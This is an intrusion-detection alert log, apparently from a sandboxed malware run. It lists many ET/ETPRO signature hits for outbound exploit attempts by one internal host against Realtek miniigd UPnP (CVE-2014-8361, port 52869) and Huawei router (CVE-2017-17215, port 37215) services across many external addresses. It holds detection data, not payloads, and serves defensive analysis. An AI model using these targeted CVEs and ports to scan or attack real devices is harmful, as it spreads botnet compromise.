Timestamp:	07/20/24-23:10:51.931701
SID:	2831300
Source Port:	36148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 133.76.164.119

Timestamp:	07/20/24-23:10:52.006529
SID:	2027339
Source Port:	56106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.36.31.158

Timestamp:	07/20/24-23:10:40.608330
SID:	2835222
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.104.238

Timestamp:	07/20/24-23:10:52.530643
SID:	2829579
Source Port:	37984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.251.202

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	57872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 66.29.130.220

Timestamp:	07/20/24-23:10:51.899861
SID:	2831300
Source Port:	44826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.135.8.30

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	49476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 34.33.224.36

Timestamp:	07/20/24-23:10:44.023623
SID:	2027339
Source Port:	39924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.234.147

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	34290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 99.118.106.29

Timestamp:	07/20/24-23:10:51.896795
SID:	2027339
Source Port:	43184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 19.7.44.118

Timestamp:	07/20/24-23:10:51.971547
SID:	2027339
Source Port:	56434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.235.15.87

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 59.27.85.148

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	54556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.66.113

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	41532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.136.199.255

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 114.103.82.126

Timestamp:	07/20/24-23:10:52.045718
SID:	2831300
Source Port:	49162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 104.126.44.136

Timestamp:	07/20/24-23:10:39.383138
SID:	2027339
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 101.108.145.138

Timestamp:	07/20/24-23:10:51.950529
SID:	2027339
Source Port:	42078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.90.252

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	44918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.191.180

Timestamp:	07/20/24-23:10:52.517494
SID:	2829579
Source Port:	40496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.253.151

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.135.74.226

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	42676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 202.116.72.105

Timestamp:	07/20/24-23:10:51.940743
SID:	2027339
Source Port:	59454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.251.199.58

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	39732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 112.250.31.72

Timestamp:	07/20/24-23:10:51.933445
SID:	2831300
Source Port:	46636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 220.239.248.79

Timestamp:	07/20/24-23:10:39.093478
SID:	2025132
Source Port:	45158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.55.110.105

Timestamp:	07/20/24-23:11:06.663147
SID:	2829579
Source Port:	43708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 100.180.255.242

Timestamp:	07/20/24-23:10:51.920409
SID:	2027339
Source Port:	47140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 172.149.150.175

Timestamp:	07/20/24-23:10:43.788026
SID:	2025132
Source Port:	45712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.161.254.255

Timestamp:	07/20/24-23:10:41.221769
SID:	2829579
Source Port:	45274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.227.212.197

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	39778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 12.48.28.88

Timestamp:	07/20/24-23:10:56.073192
SID:	2829579
Source Port:	39726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.23.76.28

Timestamp:	07/20/24-23:10:52.538470
SID:	2829579
Source Port:	47432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.222.176

Timestamp:	07/20/24-23:10:41.221768
SID:	2835222
Source Port:	46468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.129.120.216

Timestamp:	07/20/24-23:10:42.248141
SID:	2829579
Source Port:	42288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.85.198

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	52864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.22.160.234

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	47306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.64.3.25

Timestamp:	07/20/24-23:10:39.076267
SID:	2027339
Source Port:	43930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 208.45.139.203

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	57328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.113.132.47

Timestamp:	07/20/24-23:10:39.473095
SID:	2829579
Source Port:	38056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 157.33.175.112

Timestamp:	07/20/24-23:10:52.070107
SID:	2831300
Source Port:	53376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 131.117.56.72

Timestamp:	07/20/24-23:10:52.521111
SID:	2829579
Source Port:	45182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.176.162.29

Timestamp:	07/20/24-23:10:40.642616
SID:	2835222
Source Port:	53176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 106.69.59.16

Timestamp:	07/20/24-23:10:43.092313
SID:	2025132
Source Port:	37538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.248.3.188

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	35816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.235.223.229

Timestamp:	07/20/24-23:10:52.004719
SID:	2027339
Source Port:	47702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.78.213.186

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	53182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.69.44.134

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	39436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.37.171.79

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	39428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.45.92

Timestamp:	07/20/24-23:10:59.012072
SID:	2835222
Source Port:	36410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 89.186.152.105

Timestamp:	07/20/24-23:10:40.163190
SID:	2025132
Source Port:	36584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.31.234

Timestamp:	07/20/24-23:10:52.563890
SID:	2835222
Source Port:	33714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.92.156.169

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	37180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.16.133.91

Timestamp:	07/20/24-23:10:52.517494
SID:	2835222
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.6.134.161

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	39906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 141.113.230.124

Timestamp:	07/20/24-23:10:51.917508
SID:	2831300
Source Port:	51836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.219.154

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	42552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.223.157.49

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	42874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.207.85.124

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	45740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.48.207.49

Timestamp:	07/20/24-23:10:59.094768
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 47.72.19.180

Timestamp:	07/20/24-23:10:47.587819
SID:	2025132
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 126.171.98.117

Timestamp:	07/20/24-23:10:42.630809
SID:	2027339
Source Port:	56428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 36.65.48.163

Timestamp:	07/20/24-23:10:51.967169
SID:	2027339
Source Port:	45058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.235.68.13

Timestamp:	07/20/24-23:11:06.683012
SID:	2835222
Source Port:	51526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.187.16.96

Timestamp:	07/20/24-23:10:40.616009
SID:	2829579
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.50.79

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	59932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.17.109.224

Timestamp:	07/20/24-23:11:06.689939
SID:	2829579
Source Port:	46648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 203.62.78.235

Timestamp:	07/20/24-23:10:39.976697
SID:	2025132
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 185.59.206.11

Timestamp:	07/20/24-23:10:39.674300
SID:	2027339
Source Port:	55596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 75.64.8.241

Timestamp:	07/20/24-23:10:47.680519
SID:	2025132
Source Port:	55306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.78.42.54

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	41156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 68.235.64.147

Timestamp:	07/20/24-23:10:45.898672
SID:	2025132
Source Port:	44780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.219.73.31

Timestamp:	07/20/24-23:10:40.643381
SID:	2835222
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.239.134.129

Timestamp:	07/20/24-23:10:56.011227
SID:	2835222
Source Port:	60258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 160.143.66.125

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	33648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 166.78.169.15

Timestamp:	07/20/24-23:10:42.632104
SID:	2831300
Source Port:	33060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.18.139

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	60544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.164.125.2

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	60906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.249.230.34

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.138.179.241

Timestamp:	07/20/24-23:10:59.032609
SID:	2835222
Source Port:	50742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.110.13

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	41952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.195.144.123

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	43954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.188.33.5

Timestamp:	07/20/24-23:10:45.529756
SID:	2027339
Source Port:	42408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.202.210

Timestamp:	07/20/24-23:10:56.073192
SID:	2835222
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.43.171.195

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	54390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.27.41

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.14.1

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.212.87

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	40774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 68.232.135.127

Timestamp:	07/20/24-23:10:52.021520
SID:	2027339
Source Port:	37926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.124.203.108

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.138.232.152

Timestamp:	07/20/24-23:11:06.680205
SID:	2835222
Source Port:	42976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.82.158.150

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	49376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 110.195.69.132

Timestamp:	07/20/24-23:10:47.968210
SID:	2027339
Source Port:	51050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.8.135.124

Timestamp:	07/20/24-23:10:46.726397
SID:	2835222
Source Port:	53846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.146.200.25

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.50.160.163

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	60356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.162.58.122

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	48238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 89.186.152.105

Timestamp:	07/20/24-23:10:42.661465
SID:	2027339
Source Port:	37488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.82.135

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	43322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.31.20.54

Timestamp:	07/20/24-23:10:42.633392
SID:	2831300
Source Port:	43174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.132.48.67

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	35852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.55.180.63

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

